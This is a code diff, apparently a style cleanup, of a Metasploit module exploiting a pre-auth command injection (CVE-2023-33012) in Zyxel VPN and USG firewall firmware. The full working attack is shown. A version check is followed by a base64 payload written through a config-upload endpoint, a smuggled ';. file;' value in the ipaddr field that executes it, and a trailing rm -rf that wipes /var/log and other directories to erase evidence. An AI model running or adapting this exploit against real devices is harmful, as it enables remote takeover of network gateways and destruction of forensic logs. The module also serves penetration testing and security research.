@@ -13,60 +13,56 @@ def initialize(info = {})
13
13
super (
14
14
update_info (
15
15
info ,
16
- 'Name' => 'Zyxel parse_config.py Command Injection' ,
17
- 'Description' => %q(
16
+ 'Name' => 'Zyxel parse_config.py Command Injection' ,
17
+ 'Description' => %q{
18
18
This module exploits vulnerabilities in multiple Zyxel Products including VPN and USG devices (hopefully,
19
19
this is still in draft at the time of writing). The affected firmware version is 5.21 thru to 5.36.
20
- ) ,
21
- 'Author' =>
22
- [
23
- 'SSD Secure Disclosure technical team' , # discovery
24
- 'jheysel-r7' # module
25
- ] ,
26
- 'References' =>
27
- [
28
- [ 'URL' , 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/' ] ,
29
- [ 'CVE' , '2023-33012' ]
30
- ] ,
31
- 'License' => MSF_LICENSE ,
32
- 'Platform' => [ 'linux' , 'unix' ] ,
33
- 'Privileged' => true ,
34
- 'Arch' => [ ARCH_CMD ] ,
35
- 'Targets' =>
36
- [
37
- [ 'Automatic Target' , { } ]
38
- ] ,
20
+ } ,
21
+ 'Author' => [
22
+ 'SSD Secure Disclosure technical team' , # discovery
23
+ 'jheysel-r7' # module
24
+ ] ,
25
+ 'References' => [
26
+ [ 'URL' , 'https://ssd-disclosure.com/ssd-advisory-zyxel-vpn-series-pre-auth-remote-command-execution/' ] ,
27
+ [ 'CVE' , '2023-33012' ]
28
+ ] ,
29
+ 'License' => MSF_LICENSE ,
30
+ 'Platform' => [ 'linux' , 'unix' ] ,
31
+ 'Privileged' => true ,
32
+ 'Arch' => [ ARCH_CMD ] ,
33
+ 'Targets' => [
34
+ [ 'Automatic Target' , { } ]
35
+ ] ,
39
36
'DefaultTarget' => 0 ,
40
37
'DisclosureDate' => '2024-01-24' ,
41
- 'Notes' =>
42
- {
43
- 'Stability' => [ CRASH_SAFE , ] ,
44
- 'SideEffects' => [ ARTIFACTS_ON_DISK , CONFIG_CHANGES ] ,
45
- 'Reliability' => [ REPEATABLE_SESSION , ] ,
46
- } ,
38
+ 'Notes' => {
39
+ 'Stability' => [ CRASH_SAFE , ] ,
40
+ 'SideEffects' => [ ARTIFACTS_ON_DISK , CONFIG_CHANGES ] ,
41
+ 'Reliability' => [ REPEATABLE_SESSION , ]
42
+ }
47
43
)
48
44
)
49
45
50
46
register_options (
51
47
[
52
48
OptString . new ( 'WRITABLE_DIR' , [ true , 'A directory where we can write files' , '/tmp' ] ) ,
53
- ] ,
49
+ ]
54
50
)
55
51
end
56
52
57
-
58
53
def check
59
54
res = send_request_cgi ( {
60
- 'method' => 'GET' ,
61
- 'uri' => normalize_uri ( target_uri . path , 'ext-js' , 'app' , 'common' , 'zld_product_spec.js' ) ,
62
- } )
55
+ 'method' => 'GET' ,
56
+ 'uri' => normalize_uri ( target_uri . path , 'ext-js' , 'app' , 'common' , 'zld_product_spec.js' )
57
+ } )
63
58
return CheckCode ::Unknown ( 'No response from /ext-js/app/common/zld_product_spec.js' ) if res . nil?
64
59
65
60
if res . code == 200 && res . body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w +)/
66
61
return CheckCode ::Appears ( "Detected #{ Regexp . last_match ( 1 ) } ." ) if Rex ::Version . new ( Regexp . last_match ( 1 ) ) < Rex ::Version . new ( '5.36' )
62
+
67
63
return CheckCode ::Safe
68
64
end
69
- CheckCode ::Unknown ( " Version info was not found." )
65
+ CheckCode ::Unknown ( ' Version info was not found.' )
70
66
end
71
67
72
68
def exploit
@@ -76,9 +72,9 @@ def exploit
76
72
payload_filepath = "#{ datastore [ 'WRITABLE_DIR' ] } /#{ filename } .qsr"
77
73
78
74
command = payload . encoded
79
- command += <<- CMD
80
- 2>/var/log/ztplog 1>/var/log/ztplog
81
- (sleep 10 && /bin/rm -rf #{ payload_filepath } /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
75
+ command += <<~ CMD
76
+ 2>/var/log/ztplog 1>/var/log/ztplog
77
+ (sleep 10 && /bin/rm -rf #{ payload_filepath } /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
82
78
CMD
83
79
command = "echo #{ Rex ::Text . encode_base64 ( command ) } | base64 -d > #{ payload_filepath } ; . #{ payload_filepath } "
84
80
@@ -87,46 +83,46 @@ def exploit
87
83
file_write_pload += "option name 1\n "
88
84
89
85
config = Base64 . strict_encode64 ( file_write_pload )
90
- data = { " config" => config , " fqdn" => "\x00 " }
86
+ data = { ' config' => config , ' fqdn' => "\x00 " }
91
87
print_status ( 'Attempting to upload the payload via QSR file write...' )
92
88
93
89
file_write_res = send_request_cgi ( {
94
- 'method' => 'POST' ,
95
- 'uri' => normalize_uri ( target_uri . path , 'ztp' , 'cgi-bin' , 'parse_config.py' ) ,
96
- 'data' => data . to_s ,
97
- } )
90
+ 'method' => 'POST' ,
91
+ 'uri' => normalize_uri ( target_uri . path , 'ztp' , 'cgi-bin' , 'parse_config.py' ) ,
92
+ 'data' => data . to_s
93
+ } )
98
94
fail_with ( Failure ::UnexpectedReply , 'The response from the target indicates the payload transfer was unsuccessful' ) if file_write_res && file_write_res . body . include? ( 'ParseError: 0xC0DE0005' )
99
95
register_files_for_cleanup ( payload_filepath )
100
96
print_good ( 'File write was successful.' )
101
97
102
- cmd_injection_pload = "option proto gre\n "
98
+ cmd_injection_pload = "option proto gre\n "
103
99
cmd_injection_pload += "option name 0\n "
104
100
cmd_injection_pload += "option ipaddr ;. #{ payload_filepath } ;\n "
105
101
cmd_injection_pload += "option netmask 24\n "
106
102
cmd_injection_pload += "option gateway 0\n "
107
103
cmd_injection_pload += "option localip #{ Faker ::Internet . private_ip_v4_address } \n "
108
104
cmd_injection_pload += "option remoteip #{ Faker ::Internet . private_ip_v4_address } \n "
109
105
config = Rex ::Text . encode_base64 ( cmd_injection_pload )
110
- data = { " config" => config , " fqdn" => "\x00 " }
106
+ data = { ' config' => config , ' fqdn' => "\x00 " }
111
107
112
108
cmd_injection_res = send_request_cgi ( {
113
- 'method' => 'POST' ,
114
- 'uri' => normalize_uri ( target_uri . path , 'ztp' , 'cgi-bin' , 'parse_config.py' ) ,
115
- 'data' => data . to_s ,
116
- } )
109
+ 'method' => 'POST' ,
110
+ 'uri' => normalize_uri ( target_uri . path , 'ztp' , 'cgi-bin' , 'parse_config.py' ) ,
111
+ 'data' => data . to_s
112
+ } )
117
113
118
114
fail_with ( Failure ::UnexpectedReply , 'The response from the target indicates the payload transfer was unsuccessful' ) if cmd_injection_res && cmd_injection_res . body . include? ( 'ParseError: 0xC0DE0005' )
119
115
120
- #Unecessary if running a fetch payload though adding for testing
116
+ # Unecessary if running a fetch payload though adding for testing
121
117
cmd_ouput_res = send_request_cgi ( {
122
- 'method' => 'GET' ,
123
- 'uri' => normalize_uri ( target_uri . path , 'ztp' , 'cgi-bin' , 'dumpztplog.py' ) ,
124
- } )
118
+ 'method' => 'GET' ,
119
+ 'uri' => normalize_uri ( target_uri . path , 'ztp' , 'cgi-bin' , 'dumpztplog.py' )
120
+ } )
125
121
126
122
output = cmd_ouput_res . body . split ( "</head>\n <body>" ) [ 1 ]
127
123
output = output . split ( "</body>\n </html>" ) [ 0 ]
128
- output = output . gsub ( "\n \n <br>" , "" )
129
- output = output . gsub ( "[IPC]IPC result: 1\n " , "" )
130
- print_good ( "Command output: #{ output } " )
124
+ output = output . gsub ( "\n \n <br>" , '' )
125
+ output = output . gsub ( "[IPC]IPC result: 1\n " , '' )
126
+ print_good ( "Command output: #{ output } " )
131
127
end
132
- end
128
+ end
0 commit comments